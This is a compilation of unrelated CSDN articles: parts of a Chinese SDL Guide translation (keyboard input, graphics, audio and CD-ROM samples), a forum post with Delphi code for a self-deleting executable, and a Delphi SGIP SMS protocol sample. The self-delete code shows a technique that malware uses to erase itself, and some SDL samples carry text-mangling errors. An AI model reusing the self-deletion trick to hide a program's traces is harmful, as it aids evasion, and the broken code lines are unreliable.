} SDL_keysym;
    用于按键和放开消息。scancode是硬件相关键码。除非你有特殊用途，否则忽略。sym指示键，mod为修饰键集合，例如KMOD_NUM | KMOD_CAPS | KMOD_LSHIFT 为Numlock、Capslock和左Shift组合。最后unicode为对应字符。注意，仅当是按键消息时unicode才有效，放开消息时无效。Unicode变换必须用SDL_EnableUNICODE()打开。
  • SDL_KeyboardEvent
    typedef struct{
  Uint8 type;
  Uint8 state;
  SDL_keysym keysym;
} SDL_KeyboardEvent;
    描述一个键盘消息。type指示按键（SDL_KEYDOWN）或放开（SDL_KEYUP）。state是冗余的，和含义type相同只是符号不同（SDL_PRESSED，SDL_RELEASED）。

读取键盘消息

使用消息循环用SDL_PollEvent()从消息队列里读取，并用switch-case检测SDL_KEYUP和SDL_KEYDOWN。下面是个基本的例子。

例3-10 读键盘消息

  SDL_Event event;
  .
  .
  /* Poll for events. SDL_PollEvent() returns 0 when there are no  */
  /* more events on the event queue, our while loop will exit when */
  /* that occurs.                                                  */
  while( SDL_PollEvent( &event ) ){
    /* We are only worried about SDL_KEYDOWN and SDL_KEYUP events */
    switch( event.type ){
      case SDL_KEYDOWN:
        printf( "Key press detected\n" );
        break;

      case SDL_KEYUP:
        printf( "Key release detected\n" );
        break;

      default:
        break;
    }
  }

更详细的内容

我们已经知道要用SDL_Init和SDL_SetVideoMode初始化，但我们还得用另外两个函数取得必要信息。要调用SDL_EnableUNICODE(1)以允许unicode变换，还要用SDL_GetKeyName将SDLKey转换成可打印字符。注意：小于0x80的unicode字符直接映射到ASCII码。下例用到这一点。

例3-11 解释按键消息

    #include "SDL.h"

    /* Function Prototypes */
    void PrintKeyInfo( SDL_KeyboardEvent *key );
    void PrintModifiers( SDLMod mod );

    /* main */
    int main( int argc, char *argv[] ){

        SDL_Event event;
        int quit = 0;

        /* Initialise SDL */
        if( SDL_Init( SDL_INIT_VIDEO ) ){
            fprintf( stderr, "Could not initialise SDL: %s\n", SDL_GetError() );
            exit( -1 );
        }

        /* Set a video mode */
        if( !SDL_SetVideoMode( 320, 200, 0, 0 ) ){
            fprintf( stderr, "Could not set video mode: %s\n", SDL_GetError() );
            SDL_Quit();
            exit( -1 );
        }

        /* Enable Unicode translation */
        SDL_EnableUNICODE( 1 );

        /* Loop until an SDL_QUIT event is found */
        while( !quit ){

            /* Poll for events */
            while( SDL_PollEvent( &event ) ){

                switch( event.type ){
                    /* Keyboard event */
                    /* Pass the event data onto PrintKeyInfo() */
                    case SDL_KEYDOWN:
                    case SDL_KEYUP:
                        PrintKeyInfo( &event.key );
                        break;

                    /* SDL_QUIT event (window close) */
                    case SDL_QUIT:
                        quit = 1;
                        break;

                    default:
                        break;
                }

            }

        }

        /* Clean up */
        SDL_Quit();
        exit( 0 );
    }

    /* Print all information about a key event */
    void PrintKeyInfo( SDL_KeyboardEvent *key ){
        /* Is it a release or a press? */
        if( key->type == SDL_KEYUP )
            printf( "Release:- " );
        else
            printf( "Press:- " );

        /* Print the hardware scancode first */
        printf( "Scancode: 0x%02X", key->keysym.scancode );
        /* Print the name of the key */
        printf( ", Name: %s", SDL_GetKeyName( key->keysym.sym ) );
        /* We want to print the unicode info, but we need to make */
        /* sure its a press event first (remember, release events */
        /* don't have unicode info                                */
        if( key->type == SDL_KEYDOWN ){
            /* If the Unicode value is less than 0x80 then the    */
            /* unicode value can be used to get a printable       */
            /* representation of the key, using (char)unicode.    */
            printf(", Unicode: " );
            if( key->keysym.unicode < 0x80 && key->keysym.unicode > 0 ){
                printf( "%c (0x%04X)", (char)key->keysym.unicode,
                        key->keysym.unicode );
            }
            else{
                printf( "? (0x%04X)", key->keysym.unicode );
            }
        }
        printf( "\n" );
        /* Print modifier info */
        PrintModifiers( key->keysym.mod );
    }

    /* Print modifier info */
    void PrintModifiers( SDLMod mod ){
        printf( "Modifers: " );

        /* If there are none then say so and return */
        if( mod == KMOD_NONE ){
            printf( "None\n" );
            return;
        }

        /* Check for the presence of each SDLMod value */
        /* This looks messy, but there really isn't    */
        /* a clearer way.                              */
        if( mod & KMOD_NUM ) printf( "NUMLOCK " );
        if( mod & KMOD_CAPS ) printf( "CAPSLOCK " );
        if( mod & KMOD_LCTRL ) printf( "LCTRL " );
        if( mod & KMOD_RCTRL ) printf( "RCTRL " );
        if( mod & KMOD_RSHIFT ) printf( "RSHIFT " );
        if( mod & KMOD_LSHIFT ) printf( "LSHIFT " );
        if( mod & KMOD_RALT ) printf( "RALT " );
        if( mod & KMOD_LALT ) printf( "LALT " );
        if( mod & KMOD_CTRL ) printf( "CTRL " );
        if( mod & KMOD_SHIFT ) printf( "SHIFT " );
        if( mod & KMOD_ALT ) printf( "ALT " );
        printf( "\n" );
    }

游戏式键盘输入

键盘消息仅在键的状态在按下和放开间变化时才触发。

设想你用光标键控制飞船运动以改变眼前看到的太空景象，当你按左键并希望镜头向左转时。看看下面的代码，并注意它为什么是错的。

    /* Alien screen coordinates */
    int alien_x=0, alien_y=0;
    .
    .
    /* Initialise SDL and video modes and all that */
    .
    /* Main game loop */
    /* Check for events */
    while( SDL_PollEvent( &event ) ){
        switch( event.type ){
            /* Look for a keypress */
            case SDL_KEYDOWN:
                /* Check the SDLKey values and move change the coords */
                switch( event.key.keysym.sym ){
                    case SDLK_LEFT:
                        alien_x -= 1;
                        break;
                    case SDLK_RIGHT:
                        alien_x += 1;
                        break;
                    case SDLK_UP:
                        alien_y -= 1;
                        break;
                    case SDLK_DOWN:
                        alien_y += 1;
                        break;
                    default:
                        break;
                }
            }
        }
    }

问题在于你必须按100次左以便得到100次键盘消息，才能向左转100像素。正确的方法是收到事件时设定标志，根据标志来移动。

例3-12 正确的运动控制

    /* Alien screen coordinates */
    int alien_x=0, alien_y=0;
    int alien_xvel=0, alien_yvel=0;
    .
    .
    /* Initialise SDL and video modes and all that */
    .
    /* Main game loop */
    /* Check for events */
    while( SDL_PollEvent( &event ) ){
        switch( event.type ){
            /* Look for a keypress */
            case SDL_KEYDOWN:
                /* Check the SDLKey values and move change the coords */
                switch( event.key.keysym.sym ){
                    case SDLK_LEFT:
                        alien_xvel = -1;
                        break;
                    case SDLK_RIGHT:
                        alien_xvel =  1;
                        break;
                    case SDLK_UP:
                        alien_yvel = -1;
                        break;
                    case SDLK_DOWN:
                        alien_yvel =  1;
                        break;
                    default:
                        break;
                }
                break;
            /* We must also use the SDL_KEYUP events to zero the x */
            /* and y velocity variables. But we must also be       */
            /* careful not to zero the velocities when we shouldn't*/
            case SDL_KEYUP:
                switch( event.key.keysym.sym ){
                    case SDLK_LEFT:
                        /* We check to make sure the alien is moving */
                        /* to the left. If it is then we zero the    */
                        /* velocity. If the alien is moving to the   */
                        /* right then the right key is still press   */
                        /* so we don't tocuh the velocity            */
                        if( alien_xvel < 0 )
                            alien_xvel = 0;
                        break;
                    case SDLK_RIGHT:
                        if( alien_xvel > 0 )
                            alien_xvel = 0;
                        break;
                    case SDLK_UP:
                        if( alien_yvel < 0 )
                            alien_yvel = 0;
                        break;
                    case SDLK_DOWN:
                        if( alien_yvel > 0 )
                            alien_yvel = 0;
                        break;
                    default:
                        break;
                }
                break;

            default:
                break;
        }
    }
    .
    .
    /* Update the alien position */
    alien_x += alien_xvel;
    alien_y += alien_yvel;

如您所见，我们用了两个变量alien_xvel和alien_yvel来表示飞船的运动，并在响应键盘消息时更新它们。


CSDN_文档中心_SDL Guide 中文译版(四)

第四章 样例

注：重复的例子没有列出

最快的图像平面块传送

将图像画到屏幕上有三种方式：1.创建一个图像平面并用SDL_BlitSurface传送到屏幕；2.在系统内存创建视频平面并调用SDL_UpdateRect；3.在显存创建视频平面并调用SDL_LockSurface。最好的方法是混合方式：

#include <stdio.h>
#include <stdlib.h>
#include "SDL.h"
#include "SDL_timer.h"

void ComplainAndExit(void)
{
    fprintf(stderr, "Problem: %s\n", SDL_GetError());
    exit(1);
}

int main(int argc, char *argv[])
{
    SDL_PixelFormat fmt;
    SDL_Surface *screen, *locked;
    SDL_Surface *imagebmp, *image;
    SDL_Rect dstrect;
    int i;
    Uint8 *buffer;

    /* Initialize SDL */
    if ( SDL_Init(SDL_INIT_VIDEO) < 0 ) {
        ComplainAndExit();
    }
    atexit(SDL_Quit);

    /* Load a BMP image into a surface */
    imagebmp = SDL_LoadBMP("image.bmp");
    if ( imagebmp == NULL ) {
        ComplainAndExit();
    }

    /* Set the video mode (640x480 at native depth) */
    screen = SDL_SetVideoMode(640, 480, 0, SDL_HWSURFACE|SDL_FULLSCREEN);
    if ( screen == NULL ) {
        ComplainAndExit();
    }

    /* Set the video colormap */
    if ( imagebmp->format->palette != NULL ) {
        SDL_SetColors(screen,
                      imagebmp->format->palette->colors, 0,
                      imagebmp->format->palette->ncolors);
    }

    /* Convert the image to the video format (maps colors) */
    image = SDL_DisplayFormat(imagebmp);
    SDL_FreeSurface(imagebmp);
    if ( image == NULL ) {
        ComplainAndExit();
    }

    /* Draw bands of color on the raw surface */
    if ( SDL_MUSTLOCK(screen) ) {
        if ( SDL_LockSurface(screen) < 0 )
            ComplainAndExit();
    }
    buffer=(Uint8 *)screen->pixels;
    for ( i=0; ih; ++i ) {
        memset(buffer,(i*255)/screen->h,
               screen->w*screen->format->BytesPerPixel);
               buffer += screen->pitch;
    }
    if ( SDL_MUSTLOCK(screen) ) {
        SDL_UnlockSurface(screen);
    }

    /* Blit the image to the center of the screen */
    dstrect.x = (screen->w-image->w)/2;
    dstrect.y = (screen->h-image->h)/2;
    dstrect.w = image->w;
    dstrect.h = image->h;
    if ( SDL_BlitSurface(image, NULL, screen, &dstrect) < 0 ) {
        SDL_FreeSurface(image);
        ComplainAndExit();
    }
    SDL_FreeSurface(image);

    /* Update the screen */
    SDL_UpdateRects(screen, 1, &dstrect);

    SDL_Delay(5000);        /* Wait 5 seconds */
    exit(0);
}

过滤和处理事件

#include <stdio.h>
#include <stdlib.h>

#include "SDL.h"

/* This function may run in a separate event thread */
int FilterEvents(const SDL_Event *event) {
    static int boycott = 1;

    /* This quit event signals the closing of the window */
    if ( (event->type == SDL_QUIT) && boycott ) {
        printf("Quit event filtered out -- try again.\n");
        boycott = 0;
        return(0);
    }
    if ( event->type == SDL_MOUSEMOTION ) {
        printf("Mouse moved to (%d,%d)\n",
                event->motion.x, event->motion.y);
        return(0);    /* Drop it, we've handled it */
    }
    return(1);
}

int main(int argc, char *argv[])
{
    SDL_Event event;

    /* Initialize the SDL library (starts the event loop) */
    if ( SDL_Init(SDL_INIT_VIDEO) < 0 ) {
        fprintf(stderr,
                "Couldn't initialize SDL: %s\n", SDL_GetError());
        exit(1);
    }

    /* Clean up on exit, exit on window close and interrupt */
    atexit(SDL_Quit);

    /* Ignore key events */
    SDL_EventState(SDL_KEYDOWN, SDL_IGNORE);
    SDL_EventState(SDL_KEYUP, SDL_IGNORE);

    /* Filter quit and mouse motion events */
    SDL_SetEventFilter(FilterEvents);

    /* The mouse isn't much use unless we have a display for reference */
    if ( SDL_SetVideoMode(640, 480, 8, 0) == NULL ) {
        fprintf(stderr, "Couldn't set 640x480x8 video mode: %s\n",
                        SDL_GetError());
        exit(1);
    }

    /* Loop waiting for ESC+Mouse_Button */
    while ( SDL_WaitEvent(&event) >= 0 ) {
        switch (event.type) {
            case SDL_ACTIVEEVENT: {
                if ( event.active.state & SDL_APPACTIVE ) {
                    if ( event.active.gain ) {
                        printf("App activated\n");
                    } else {
                        printf("App iconified\n");
                    }
                }
            }
            break;

            case SDL_MOUSEBUTTONDOWN: {
                Uint8 *keys;

                keys = SDL_GetKeyState(NULL);
                if ( keys[SDLK_ESCAPE] == SDL_PRESSED ) {
                    printf("Bye bye...\n");
                    exit(0);
                }
                printf("Mouse button pressed\n");
            }
            break;

            case SDL_QUIT: {
                printf("Quit requested, quitting.\n");
                exit(0);
            }
            break;
        }
    }
    /* This should never happen */
    printf("SDL_WaitEvent error: %s\n", SDL_GetError());
    exit(1);
}

打开音频设备

    SDL_AudioSpec wanted;
    extern void fill_audio(void *udata, Uint8 *stream, int len);

    /* Set the audio format */
    wanted.freq = 22050;
    wanted.format = AUDIO_S16;
    wanted.channels = 2;    /* 1 = mono, 2 = stereo */
    wanted.samples = 1024;  /* Good low-latency value for callback */
    wanted.callback = fill_audio;
    wanted.userdata = NULL;

    /* Open the audio device, forcing the desired format */
    if ( SDL_OpenAudio(&wanted, NULL) < 0 ) {
        fprintf(stderr, "Couldn't open audio: %s\n", SDL_GetError());
        return(-1);
    }
    return(0);

播放音频

    static Uint8 *audio_chunk;
    static Uint32 audio_len;
    static Uint8 *audio_pos;

    /* The audio function callback takes the following parameters:
       stream:  A pointer to the audio buffer to be filled
       len:     The length (in bytes) of the audio buffer
    */
    void fill_audio(void *udata, Uint8 *stream, int len)
    {
        /* Only play if we have data left */
        if ( audio_len == 0 )
            return;

        /* Mix as much data as possible */
        len = ( len > audio_len ? audio_len : len );
        SDL_MixAudio(stream, audio_pos, len, SDL_MIX_MAXVOLUME)
        audio_pos += len;
        audio_len -= len;
    }

    /* Load the audio data ... */

    ;;;;;

    audio_pos = audio_chunk;

    /* Let the callback function play the audio chunk */
    SDL_PauseAudio(0);

    /* Do some processing */

    ;;;;;

    /* Wait for sound to complete */
    while ( audio_len > 0 ) {
        SDL_Delay(100);         /* Sleep 1/10 second */
    }
    SDL_CloseAudio();

列出所有CDROM

    #include "SDL.h"

    /* Initialize SDL first */
    if ( SDL_Init(SDL_INIT_CDROM) < 0 ) {
        fprintf(stderr, "Couldn't initialize SDL: %s\n",SDL_GetError());
        exit(1);
    }
    atexit(SDL_Quit);

    /* Find out how many CD-ROM drives are connected to the system */
    printf("Drives available: %d\n", SDL_CDNumDrives());
    for ( i=0; i<SDL_CDNumDrives(); ++i ) {
        printf("Drive %d:  \"%s\"\n", i, SDL_CDName(i));
    }

打开缺省CDROM驱动器

    SDL_CD *cdrom;
    CDstatus status;
    char *status_str;

    cdrom = SDL_CDOpen(0);
    if ( cdrom == NULL ) {
        fprintf(stderr, "Couldn't open default CD-ROM drive: %s\n",
                        SDL_GetError());
        exit(2);
    }

    status = SDL_CDStatus(cdrom);
    switch (status) {
        case CD_TRAYEMPTY:
            status_str = "tray empty";
            break;
        case CD_STOPPED:
            status_str = "stopped";
            break;
        case CD_PLAYING:
            status_str = "playing";
            break;
        case CD_PAUSED:
            status_str = "paused";
            break;
        case CD_ERROR:
            status_str = "error state";
            break;
    }
    printf("Drive status: %s\n", status_str);
    if ( status >= CD_PLAYING ) {
        int m, s, f;
        FRAMES_TO_MSF(cdrom->cur_frame, &m, &s, &f);
        printf("Currently playing track %d, %d:%2.2d\n",
        cdrom->track[cdrom->cur_track].id, m, s);
    }

列出CD上所有音轨

    SDL_CD *cdrom;          /* Assuming this has already been set.. */
    int i;
    int m, s, f;

    SDL_CDStatus(cdrom);
    printf("Drive tracks: %d\n", cdrom->numtracks);
    for ( i=0; i<cdrom->numtracks; ++i ) {
        FRAMES_TO_MSF(cdrom->track[i].length, &m, &s, &f);
        if ( f > 0 )
            ++s;
        printf("\tTrack (index %d) %d: %d:%2.2d\n", i,
        cdrom->track[i].id, m, s);
    }

播放CD

    SDL_CD *cdrom;          /* Assuming this has already been set.. */

    // Play entire CD:
    if ( CD_INDRIVE(SDL_CDStatus(cdrom)) )
        SDL_CDPlayTracks(cdrom, 0, 0, 0, 0);

        // Play last track:
        if ( CD_INDRIVE(SDL_CDStatus(cdrom)) ) {
            SDL_CDPlayTracks(cdrom, cdrom->numtracks-1, 0, 0, 0);
        }

        // Play first and second track and 10 seconds of third track:
        if ( CD_INDRIVE(SDL_CDStatus(cdrom)) )
            SDL_CDPlayTracks(cdrom, 0, 0, 2, 10);

基于时间的游戏主循环

#define TICK_INTERVAL    30

Uint32 TimeLeft(void)
{
    static Uint32 next_time = 0;
    Uint32 now;

    now = SDL_GetTicks();
    if ( next_time <= now ) {
        next_time = now+TICK_INTERVAL;
        return(0);
    }
    return(next_time-now);
}

/* main game loop

    while ( game_running ) {
        UpdateGameState();
        SDL_Delay(TimeLeft());
    }


CSDN_文档中心_SDL Guide 中文译版(一)

SDL即Simple DirectMedia Layer，类似DirectX，是完整的游戏、多媒体开发包，但不同的是它跨越几乎所有的平台，有各种语言的接口，多种语言的文档，而这一切都是广大志愿者完成的。目前扩展部分还没有正式的文档，以下为核心部分文档的向导部分。

SDL Guide

SDL向导中文译版

序言

关于SDL

SDL为方便制作能跨跃Linux、BSD、MacOS、Win32和BeOS平台，使用本地高性能媒体接口，并且让您可以只需使用一份源代码级API而设计。SDL是相当低层的API，但使用它可以让你以极大的灵活性写出完全跨平台的程序。

关于SDL文档

SDLdoc项目即要重新编写SDL文档并同步更新。项目组有使用SDL的志愿者组成。

最新版本可在http://sdldoc.sourceforge.net下载

谢启

Sam Lantinga, slouken@libsdl.org

Martin Donlon, akawaka@skynet.ie

Mattias Engdeg?rd

Julian Peterson

Ken Jordan

Maxim Sobolev

Wesley Poole

Michael Vance

Andreas Umbach

Andreas Hofmeister

第一章 基础

初始化

SDL由八个子系统组成——音频、CDROM、事件处理、文件I/O、游戏杆、线程、记时器和视频。使用前必须调用SDL_Init或SDL_InitSubSystem初始化。SDL_Init必须早于其他所有SDL调用，它将自动初始化事件处理、文件I/O和线程子系统，并根据参数选择启动其他子系统。例如，初始化缺省和视频子系统：

SDL_Init(SDL_INIT_VIDEO);

初始化缺省、视频和记时器子系统：

SDL_Init(SDL_INIT_VIDEO | SDL_INIT_TIMER);

SDL_Init对应SDL_Quit（和SDL_QuitSubSystem）。SDL_Quit关闭所有子系统，必须在程序关闭前调用。

除此之外，我们还必须进行错误处理。很多SDL函数返回一个值指示成功与否。例如SDL_Init失败时返回-1。每当SDL出错时，错误信息被保存，并可用SDL_GetError取得。

例1-1 初始化SDL

#include "SDL.h"   /* All SDL App's need this */
#include <stdio.h>

int main() {

    printf("Initializing SDL.\n");

    /* Initialize defaults, Video and Audio */
    if((SDL_Init(SDL_INIT_VIDEO|SDL_INIT_AUDIO)==-1)) {
        printf("Could not initialize SDL: %s.\n", SDL_GetError());
        exit(-1);
    }

    printf("SDL initialized.\n");

    printf("Quiting SDL.\n");

    /* Shutdown all subsystems */
    SDL_Quit();

    printf("Quiting....\n");

    exit(0);
}


CSDN_文档中心_Self-Delete程序之Delphi版本，终于搞定了。 (转载)

//转贴者：以前看过陆麟先生翻译过一篇这样的文章，是c版本的，我用delphi改写了没成功，今天去清华bbs转悠看见了这篇delphi版本的，特贴出来

发信人: Litoad (Rick), 信区: Delphi

标 题: Self-Delete程序之Delphi版本，终于搞定了。 (转载)

发信站: BBS 水木清华站 (Mon Jun 4 20:51:55 2001)

【 以下文字转载自 Programming 讨论区 】

发信人: Litoad (Rick), 信区: Programming

标 题: Self-Delete程序之Delphi版本，终于搞定了。

发信站: BBS 水木清华站 (Mon Jun 4 20:50:42 2001)

到Borland的论坛去问了问，确实跟laoduan说得一样，要

自己GetProcAddress。代码如下：

program Project1;

uses

Windows;

procedure DeleteSelf;

var

hModule: THandle;

buff: array[0..255] of Char;

hKernel32: THandle;

pExitProcess, pDeleteFileA, pUnmapViewOfFile: Pointer;

begin

hModule := GetModuleHandle(nil);

GetModuleFileName(hModule, buff, sizeof(buff));

CloseHandle(THandle(4));

hKernel32 := GetModuleHandle('KERNEL32');

pExitProcess := GetProcAddress(hKernel32, 'ExitProcess');

pDeleteFileA := GetProcAddress(hKernel32, 'DeleteFileA');

pUnmapViewOfFile := GetProcAddress(hKernel32, 'UnmapViewOfFile');

asm

LEA EAX, buff

PUSH 0

PUSH 0

PUSH EAX

PUSH pExitProcess

PUSH hModule

PUSH pDeleteFileA

PUSH pUnmapViewOfFile

RET

end;

end;

begin

DeleteSelf;

end.

现在有一点比较古怪，那就是必须把代码放在一个Procedure里，

直接放在begin ... end.中间是不行的。也许是全局变量不能使用

的缘故，但为什么不能使用，还是不是很清楚。

还有，不GetProcAddress，直接如下写：

PUSH OFFSET UnmapViewOfFile

trace的结果是执行进入了KERNEL32.UnmapViewOfFile的，只是在

函数内RET $4出就出错了，跳到了一个莫名其妙的地方。为什么会

这样？难道是Delphi的编译器的问题吗？

另外，Borland论坛上RE的代码不是上面的，不过效果跟我写的一样

。但是FreeLibrary(p)跟UnmapViewOfFile(hModule)效果一样吗？

代码如下：

program Project1;

uses

windows;

procedure DeleteSelf;

var

module : HMODULE;

buf : array [ 0 .. MAX_PATH - 1 ] of char;

p : ULONG;

hKrnl32 : HMODULE;

pExitProcess, pDeleteFile, pFreeLibrary : pointer;

begin

module := GetModuleHandle ( nil );

GetModuleFileName ( module, buf, sizeof ( buf ) );

CloseHandle ( THandle ( 4 ) );

p := ULONG ( module ) + 1;

//上面这一句什么意思？

hKrnl32 := GetModuleHandle ( 'kernel32' );

pExitProcess := GetProcAddress ( hKrnl32, 'ExitProcess' );

pDeleteFile := GetProcAddress ( hKrnl32, 'DeleteFileA' );

pFreeLibrary := GetProcAddress ( hKrnl32, 'FreeLibrary' );

asm

lea eax, buf

push 0

push 0

push eax

push pExitProcess

push p

push pDeleteFile

push pFreeLibrary

ret

end;

end;

--

※ 修改:·Litoad 於 Jun 4 21:18:43 修改本文·[FROM: 166.111.171.40]


CSDN_文档中心_SGIP的delphi原码

在网上找了好长时间，也没有发现有SGIP的例子，伤感之余，终于做了一个Delphi6.0的SGIP例子
包含了一个服务端和一个客户端，协议共用，服务端为非阻塞长连接，客户端为阻塞短连接，
程序写的很乱，风格也很差，希望高手多多指教
（dulcet99@163.com,dulcet99@sina.com）

file://客户端
unit TestMain;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp, StdCtrls, ExtCtrls, xy, winsock;
const
FV_SNumber=3053112345;
FV_LoginPass='hi';
FV_LoginName='hi';
FV_SPNumber='12345';
T_Tel='13000000000';
FV_corpID='12345';
T_msg='我在天空写下你的名字，没有被风带走';
type
TForm1 = class(TForm)
Memo1: TMemo;
Button1: TButton;
ClientSocket1: TClientSocket;
Button3: TButton;
Button4: TButton;
Button2: TButton;
Button5: TButton;
Button6: TButton;
Button7: TButton;
ServerSocket1: TServerSocket;
panel1: TPanel;
procedure Button2Click(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Button6Click(Sender: TObject);
procedure Button5Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure Button4Click(Sender: TObject);
procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
procedure Button7Click(Sender: TObject);
procedure ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
private
{ Private declarations }
public
{ Public declarations }
file://客户端协议定义
sHead: SGIPHead; file://消息头定义
sBind: XBind; file://连接请求验证
sBind_Resp: Bind_Resp; file://响应连接请求验证
sSubmit: XSubmit; file://SP->SMG提交短信
sSubmit_Resp: Submit_Resp; file://SMG响应SP提交的短信状态
sDeliver: XDeliver; file://SMG->SP提交短信
sDeliver_Resp: Deliver_Resp; file://SP响应SMG提交的短信状态
sReport: XReport; file://SMG->SP先前的短信状态
sReport_Resp: Report_Resp; file://响应命令执行状况
file://服务端协议定义
cHead: SGIPHead; file://消息头定义
cBind: XBind; file://连接请求验证
cBind_Resp: Bind_Resp; file://响应连接请求验证
cSubmit: XSubmit; file://SP->SMG提交短信
cSubmit_Resp: Submit_Resp; file://SMG响应SP提交的短信状态
cDeliver: XDeliver; file://SMG->SP提交短信
cDeliver_Resp: Deliver_Resp; file://SP响应SMG提交的短信状态
cReport: XReport; file://SMG->SP先前的短信状态
cReport_Resp: Report_Resp; file://响应命令执行状况
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button2Click(Sender: TObject);
begin
ClientSocket1.Active:=false;
if ClientSocket1.Active then
memo1.Lines.Add('客户端关闭失败')
else
memo1.Lines.Add('客户端关闭成功');
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
ClientSocket1.Active:=true;
if ClientSocket1.Active then
memo1.Lines.Add('客户端打开成功')
else
memo1.Lines.Add('客户端打开失败');
end;

procedure TForm1.Button6Click(Sender: TObject);
begin
ServerSocket1.Active:=true;
if ServerSocket1.Active then
memo1.Lines.Add('服务端打开成功')
else
memo1.Lines.Add('服务端打开失败');
end;

procedure TForm1.Button5Click(Sender: TObject);
begin
ServerSocket1.Active:=false;
if ServerSocket1.Active then
memo1.Lines.Add('服务端关闭失败')
else
memo1.Lines.Add('服务端关闭成功');
end;

procedure TForm1.Button3Click(Sender: TObject);
var
FV_Date1_S,FV_Date2_S:string;
str_i,SendSize:integer;
stream1:TWinSocketStream;
abc,bc:longword;
begin
stream1:=TWinSocketStream.Create(ClientSocket1.Socket,30000);
memo1.Lines.Add('-------------------向服务端发送BIND请求--------------------');
if not ClientSocket1.Active then
begin
memo1.Lines.Add('客户端没有打开');
exit;
end;
DateTimeToString(FV_Date1_S,'mmddhhnnss',now);
DateTimeToString(FV_Date2_S,'zzz',now);
FillChar(sBind,sizeof(sBind),0);
FillChar(sHead,sizeof(sHead),0);
str_i:=sizeof(sHead)+sizeof(sBind);
sBind.LonginType:=1;
strpcopy(sBind.LonginPass,FV_LoginPass);
strpcopy(sBind.LonginName,FV_LoginName);
abc:=htonl(FV_SNumber);
sHead.MessageLength:=htonl(str_i);
sHead.CommandId:=htonl(SGIP_Bind);
sHead.SNumber1:=abc;
sHead.SNumber2:=htonl(StrToInt(FV_Date1_S));
sHead.SNumber3:=htonl(StrToInt(FV_Date2_S));
stream1.WriteBuffer(sHead,sizeof(sHead));
stream1.WriteBuffer(sBind,sizeof(sBind));
memo1.Lines.Add('sHead.MessageLength '+inttostr(ntohl(sHead.MessageLength)));
memo1.Lines.Add('sHead.CommandId '+inttostr(ntohl(sHead.CommandId)));
bc:=ntohl(abc);
memo1.Lines.Add('sHead.SNumber1 '+inttostr(bc));
memo1.Lines.Add('sHead.SNumber2 '+inttostr(ntohl(sHead.SNumber2)));
memo1.Lines.Add('sHead.SNumber3 '+inttostr(ntohl(sHead.SNumber3)));
memo1.Lines.Add('sBind.LonginType '+inttostr(sBind.LonginType));
memo1.Lines.Add('sBind.LonginName '+sBind.LonginName);
memo1.Lines.Add('sBind.LonginPass '+sBind.LonginPass);
memo1.Lines.Add('------------------Bind请求已发送----------------------');
if stream1.WaitForData(5000) then
begin
fillchar(cHead,sizeof(cHead),0);
fillchar(cbind_resp,sizeof(cBind_Resp),0);
stream1.ReadBuffer(cHead,sizeof(cHead));
stream1.ReadBuffer(cBind_resp,sizeof(cBind_resp));
end;
memo1.Lines.Add('cHead.MessageLength '+inttostr(ntohl(cHead.MessageLength)));
bc:=ntohl(cHead.CommandId);
memo1.Lines.Add('cHead.CommandId '+inttostr(bc));
bc:=ntohl(cHead.SNumber1);
memo1.Lines.Add('cHead.SNumber1 '+inttostr(bc));
memo1.Lines.Add('cHead.SNumber2 '+inttostr(ntohl(cHead.SNumber2)));
memo1.Lines.Add('cHead.SNumber3 '+inttostr(ntohl(cHead.SNumber3)));
memo1.Lines.Add('cBind.LonginType '+inttostr(cBind_resp.Result));
stream1.Free;
end;

procedure TForm1.Button4Click(Sender: TObject);
file://type
{abc=packed record
head:SGIPHead;
submit:xSubmit;
end;}
var
FV_Date1_S,FV_Date2_S:string;
i,SendSize:integer;
file://xxx:abc;
stream2:twinsocketstream;
abc,bc:longword;
line1,line2:longword;
begin
stream2:=twinsocketstream.Create(clientsocket1.Socket,5000);
SendSize:=0;
memo1.Lines.Add('-------------------------submit--------------------------');
if not ClientSocket1.Active then
begin
memo1.Lines.Add('-------------------客户端没有打开，submit失败-------------');
exit;
end;
DateTimeToString(FV_Date1_S,'mmddhhnnss',now);
DateTimeToString(FV_Date2_S,'zzz',now);
FillChar(sSubmit,sizeof(sSubmit),0);
FillChar(sHead,sizeof(sHead),0);
with ssubmit do
begin
strpcopy(SPNumber,'4488');//;
ChargeNumber :='8613188890924';
UserCount :=1; file://1-100
{for i:=1 to UserCount do
begin
file://strpcopy(UserNumber[i-1].TelN,'8613065073355');//+T_Tel);// :array of TelCount; file://长度为UserCount
UserNumber[i-1].TelN:='8613011725853';
end;}
UserNumber:='8613188890924';
CorpID:='41027';//CorpID:='4488';//strpcopy(CorpID,FV_corpID);
ServiceType:='4488';//FV_SPNumber);//'4488';
FeeType :=1;
FeeValue :='0';
GivenValue :='0';
AgentFlag :=0;
MOrelatetoMTFlag :=2;
Priority :=0;
ExpireTime :='';
ScheduleTime :='';
ReportFlag :=1;
TP_pid :=0;
tp_udhi :=0;
MessageCoding :=15;
MessageType :=0;
MessageLength :=htonl(161);
strpcopy(MessageContent,T_msg); file://长度为 MessageLength;
file://Reserve :='';
end;
{line1:=sizeof(sHead);
line2:=sizeof(sSubmit);}
with sHead do
begin
abc:=htonl(FV_SNumber);
MessageLength:=htonl(sizeof(sHead)+sizeof(sSubmit)-3);
CommandId:=htonl(SGIP_Submit);
SNumber1:=abc;
SNumber2:=htonl(StrToInt(FV_Date1_S));
SNumber3:=htonl(StrToInt(FV_Date2_S));
end;
line1:=stream2.Write(shead,sizeof(shead));
line2:=stream2.Write(sSubmit,sizeof(sSubmit)-3);
if stream2.WaitForData(5000) then
begin
fillchar(cHead,sizeof(cHead),0);
fillchar(cSubmit_Resp,sizeof(cSubmit_Resp),0);
memo1.Lines.Add('read submit Head ..............');
try
stream2.ReadBuffer(cHead,sizeof(cHead));
stream2.ReadBuffer(cSubmit_Resp,sizeof(cSubmit_Resp));
except
on e:exception do
memo1.Lines.Add(e.Message);
end;
memo1.Lines.Add('read submit csubmit_resp ..............');
file://stream2.ReadBuffer(cBind_Resp,sizeof(cBind_resp));
end;
stream2.Free;
end;

procedure TForm1.ClientSocket1Read(Sender: TObject;
Socket: TCustomWinSocket);
var
commandI,PackSize:Longword;
Recv1I,Recv2I:integer;
begin
